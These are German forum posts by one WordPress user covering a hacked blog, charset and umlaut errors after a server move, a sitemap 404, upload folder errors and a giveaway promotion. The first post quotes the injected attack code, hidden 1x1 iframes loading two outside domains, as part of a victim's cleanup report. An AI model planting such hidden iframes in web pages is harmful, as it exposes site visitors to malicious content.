Beiträge von Loewenherz

    Hi,

    ich habe dasselbe Problem. Aufgeflogen ist die Kiste, da die Seite aufgrund der fehlerhaften iFrames nicht mehr funktionierte. Ganz schlauer Hack...

    Zitat

    <html><body><iframe src="http://zxstats.com/" width="1" height="1" frameborder="0"></iframe><iframe src="http://bali-planet.com/" width="1" height="1" frameborder="0"></iframe></body></html>>

    System: Wordpress, aktuelle 3.0.4 mit 5 Plugins in den jeweils aktuellsten Versionen
    Ich habe mittlerweile alles gemacht: Passwörter geändert (FTP, Confixx, Wordpress-Admin), alle Dateien neu hochgeladen, alle Free-Themes entfernt und das WP Standard-Theme verwendet etc. Trotzdem ist die Seite am 31.01. wieder gehackt worden.

    Die FTP-Zugangsdaten können bei mir kaum abgegriffen worden sein, sonst wären wesentlich mehr Webseiten betroffen. Und direkt neben der betroffenen WP-Installation liegt eine zweite im Webpaket, die sauber ist.

    Im Moment säubere ich also wieder den Webspace und bin gespannt, ob der Hack wieder kommt... Bin schon mal den Tipps hier gefolgt und habe alle index.php auf 444 umgestellt. Und außerdem mal den Hoster informiert - bislang dachte ich, die Infiltration wäre über ein Freetheme geschehen und hatte den Provider deshalb gar nicht erst informiert.

    Hi,
    hab grade dasselbe Problem und dachte mir, dass es an dem Tag liegt. Allerdings ist dieses Stichwort wichtig und kommt in einigen Artikeln vor.

    Vor allem: Ich konnte eine Kategorie neu anlegen, obwohl auch dieser Kategoriename bereits als Tag bzw. URL-Part vorkommt, erscheint mir nicht stimmig. Zumal /tag und /category zwei verschiedene URL-Strukturen haben.

    Da eine Änderung in der wp_terms aufgrund des vorhandenen terms nicht möglich war, blieb auch mir nur die Löschung des tags. Danach Änderung der Kategorie-URL und der Tag ließ sich wieder neu vergeben.

    Insofern wirkt es auf mich eher wie ein Bug als ein Feature...

    Mal grade mit dem all-inkl Support telefoniert. Er meinte, dass mit der Datenbank alles stimmt und die Bezeichnung unter Kollation kein Problem darstellen würde.

    Seiner Meinung nach arbeitet das Ganze mit zwei verschiedenen Charsets. Die Inhalte wären in UTF, irgendwas würde aber ISO erzwingen (oder umgekehrt). Als Beispiel habe ich im Firefox unter Ansicht > Zeichenkodierung geschaut, da stand UTF. Hab dann auf ISO Westlich (erster Eintrag) umgestellt und schwupps, stimmte alles. Außer Google AdSense, da waren plötzlích die Umlaute zerschossen. War auch nur als Beispiel, nicht als Dauerzustand, nutzt ja nichts wenn es nur bei mir richtig aussieht ;-)

    Hab dann im Template nachgeschaut, da fand sich dann in den Meta-Tags die ISO-Angabe, habe ich denn mal umgestellt auf
    <meta http-equiv="Content-Type" content="text/html;charset=UTF-8" />
    Auch die Theme-Dateien waren - aufgrund Phase5 - in ISO, konvertiere ich grade mittels Notepad++ um zu UTF-8 ohne BOM. Fehler bleiben im Moment aber noch.

    Gefunden habe ich noch http://www.mydigitallife.info/2007/06/23/how…press-database/ - ob das was helfen könnte?

    Hey, danke für die Antwort.


    Und generell wann immer möglich mit UTF-8 arbeiten statt ISO, das spart auf lange Sicht viel Ärger. Also auch nicht jetzt auf ISO zurückstellen, dann lieber das zurgundeliegende Problem lösen. ;-)


    Genau das hab ich vor :)

    Wie gesagt: Im Frontend sieht es noch ganz annehmbar aus. Am gruseligsten sind die Autorenseiten wie http://www.sozial-wissenschaft.de/author/andreasmueller/ oder die Tags. Da sind die Umlaute komplett zerschossen.

    Richtig übel sieht es im Backend aus. Bei allen Artikeln, wo Umlaute im Titel sind, bleibt der Titel im Edit-Modus komplett leer. Nix, nada. Dito die Tags. Ich hab keine Idee, wo ich da ansetzen könnte, da die Zeilen, die ich für automatisches Suchen/ersetzen via phpMyAdmin nutzen wollte, überhaupt nicht greifen.

    Hallo,
    Umlautprobleme nach einem Serverwechsel sind nichts ungewöhnliches. Aber diesmal ist mein Problem spezieller als sonst, deshalb dieser neue Threat.

    Die bisherigen Probleme und Lösungsstrategien habe ich hier beschrieben: http://www.meinhosting.de/wordpress/umla…beheben-73.html

    Diesmal war dasselbe: Ein WP-Blog mit 2.8.6, wo das Update auf 2.9.2 nicht möglich war aufgrund des alten Servers. Also Serverwechsel bei all-inkl.de mit Update der MySQl-Datenbank von 4 auf 5. Danach das übliche Umlautproblem.

    Hier war Wordpress teilweise außerstande, im Backend beim Bearbeiten die Titel anzuzeigen, Tags waren verschwunden etc. Das in oben genanntem Artikel beschriebene Procedere funktionierte ausnahmsweise nicht. Die zu ersetzenden Zeichen wurden nicht gefunden. Nachdem ich in den Einstellungen von UTF8 zu ISO8859-1 gewechselt bin, war der Content korrekt, aber seitdem werden die ganzen Sprachdateien etc. verstümmelt. Also wieder zurück.

    all-inkl.de schrieb:
    >wenn wir die Sicherung einspielen, sind nur ein Teil der Inhalte mit
    >Umlaute hinterlegt, was aber auch eher unüblich ist, wenn alles aus
    >der DB geladen wird, sofern es nicht dadrin falsch steht.

    Meine Antwort:
    Das einzige, was ich in Wordpress getan hatte, war unter
    http://www.sozial-wissenschaft.de/wp-admin/options-reading.php also
    Einstellungen > Lesen > "Zeichensatz für Seiten und Feeds" von UTF-8
    auf ISO umzustellen. Auch das erst nach dem Serverwechsel, dem Update
    von 2.8.6 auf 2.9.2 und der Unmöglichkeit, die Fehler direkt durch
    Suchen/Ersetzen in phpMyAdmin zu beseitigen. Zumal eben auch so
    seltsame Phänomene auftauchen, dass beispielsweise die Titel der
    Artikel m Edit-Modus verschwinden. Während die Seite im Frontend noch
    passabel aussieht, ist es im Backend gruselig.

    Die Seite ist jetzt seit Januar 2007 in dieser Form im Netz und
    durchgehend bei all-inkl. Dabei gab es nur die üblichen
    Wordpress-Updates. Von den vielen Blogs, die ich bei all-inkl.de
    betreibe - oft mit denselben Einstellungen und Plugins - ist es das
    Einzige, dass beim Serverwechsel neben den üblichen Phänomenen
    (Umlaute, wpSEO weg) zusätzlich zickt. Erklärungen habe ich keine.
    Die einzig wirklich spezielle Sache, die ich bei diesem Blog gemacht
    habe, ist hier dokumentiert:
    http://www.meinhosting.de/wordpress/word…artikel-34.html - ob das einen Einfluss hatte?

    Letzte Antwort des Support:
    wir haben hierzu erstmal keine Lösung, da auch ein Teil der Webseiten mit Umlauten richtig angezeigt wird. Es wird womöglich durch das alte MySQL 4.0 in der DB so sein, dass Umlaute im Klartext drin stehen und andere wieder nicht, was aber die aktuellere MySQL Version nicht anders auslesen kann.

    Hat jemand von euch eine Idee? Die betroffene Seite ist http://www.sozial-wissenschaft.de/ - und wie gesagt: Das Umlautproblem ist von außen nur teilweise erkennbar (bei mir im Firefox an und an rechteckige Klötzchen an Stelle von Umlauten), und spielt sich vor allem im Backend ab.

    Jo. Die stammt aber nicht von mir. Wenn du irgendeine nicht-existente URL eingibst, erscheint ansonsten die normale WP-Fehlerseite.
    Jetzt hab ich auch mal /sitemap.xml/ per 301 auf die neue URL der Sitemap geleitet, prompt findet er die /sitemap/ nicht mehr, obwohl die ebenfalls per 301 rewritet werden sollte.
    Ich sach ja, Hexenwerk ;-)

    Hi,
    heute hat mich jemand darauf aufmerksam gemacht, dass ddsitemap generator unter http://www.seo-scene.de/sitemap/ einen 404er erzeugt.

    Das Plugin arbeitete seit Jahren korrekt. Leider hatte ich nach dem Update auf 2.9.x nicht getestet, ob das Problem dadurch aufgetaucht ist. Da ein anderer Blog mit 2.9.1 hier allerdings sauber läuft, muss es nicht daran liegen.

    Alle Plugins wurden deaktiviert (außer Smart Trailing Slash), der Fehler besteht weiter. Die Fehlermeldung "The requested URL /sitemap.xml/ was not found on this server." deutete darauf hin, dass sich vielleicht ddsitemapgen mit "Google XML Sitemaps" in die Haare kriegen könnte. Aber das Deaktivieren half nicht.

    Ich bin planlos im Moment. Erst das Umbenennen der URL weg von /sitemap/ hin zu /ueberblick/ hat geholfen. Insofern vermute ich weiterhin, dass das kürzlich aktivierte XML Plugin von Arne Brachhold das Problem darstellen könnte...

    Jemand eine Idee?

    Nachdem mich die Google Suche nur wieder zu meinen eigenen Antworten bei der Größenänderung führt, diese aber mit WP 2.9.x nicht mehr funktioniert, hier ein Update:

    Datei wp-includes/category-template.php
    Suche: function wp_tag_cloud
    bei mir in Zeile 525 kann man direkt einstellen: "largest" (aktuell auf 22).
    Noch einfacher also als bisher. Wer weiß, vielleicht bald via Backend :)

    Korrektur: Hab entdeckt, dass das Blog im Gegensatz zu den anderen Präsenzen der Kundin gar nicht bei HE sondern all-inkl liegt.

    Mal die Verzeichnisrechte zurückgegeben an den FTP-User. Dennoch weiterhin dieselben Fehlermeldungen. Den Ordner /blog/wp-content/uploads/2009/11 von Hand angelegt, weiter dieselbe Fehlermeldung. Sowohl bei 755 als auch 777. Jetzt bin ich mit meinem Latein erstmal am Ende.

    Update: Problem gelöst. Jemand hatte bei "Uploads in folgendem Ordner speichern" einen zusätzlichen Slash eingebaut. Nach Zurücksetzen auf den Standard lief es. *uff*

    Ganz seltsames Phänomen: Bislang ging der Bilderupload problemlos. Nun nicht mehr. Einziger Unterschied: Update auf WP 2.8.5. Ansonsten alles wie gehabt: HostEurope, chmod 777 der Ordner. Aber es kommt die Meldung:
    "Das Verzeichnis .../wp-content/uploads/2009/11 kann nicht angelegt werden. Ist das übergeordnete Verzeichnis durch den Server beschreibbar?"
    Weder per Flashuploader noch per Browserupload.
    Hat sich da mit der 2.8.5 ein Bug eingeschlichen? Ansonsten bliebe nur HE falls die irgendwas auf dem Server umgestellt hätten.

    Einziger Ansatz: Der Besitzer alle Ordner unter uploads ist www-data und nicht der FTP-User. Könnte also auch ein Bug vor 2.8.5 gewesen sein, der nun gefixt ist?

    Danke für deine Antwort. Nein, jemand muss nur EINES der drei Dinge tun, um teilzunehmen, KANN aber auch drei machen. Für jede der genannten Aktionen kommt man in einen Lostopf.

    Falls das aus der Ankündigung nicht klar geworden ist, müsste ich schauen, wo der Fehler hängt und das korrigieren.

    Hi,

    ich versuche grade, folgende Aktion zu promoten: siehe http://www.seo-scene.de/promotion/vier…winnen-609.html

    Es geht mit dieser Aktion darum, drei Seiten eines Praktikanten etwas bekannter zu machen; zwei auf Wordpress-Basis, eines mit Pligg. Dabei ist vor allem http://www.layout-vorlage.de/ für Blogger recht interessant, da hier Ressourcen für kostenlose Templates/Themes vorgestellt werden.

    Über Twitter gab es einige Reaktionen. Doch das Mysterium "Blogosphäre" scheinen wir leider nicht erreicht zu haben. Vielleicht auch, weil viele Leute Sachen, die sie früher gebloggt hätten, heute twittern. Schätze, die Aktion müsste es "einfach nur" in das ein oder andere Blog schaffen, das als Multiplikator dient. Doch auch wenn Kollegen wie Perun oder wpSEO es per Twitter unterstützt haben, Blogberichte oder Trackbacks gibt es leider keine. Oder ist die Aktion zu uninteressant?

    Keinerlei Reaktionen gab es durch Forenposts. Bei Newsaggregatoren hat Mister Wong ein wenig Traffic gebracht, ansonsten fast alles über obigen Blogpost oder Google Rankings. Heut hab ich mal bei Xing was gepostet.

    Über Feedback würde ich mich freuen.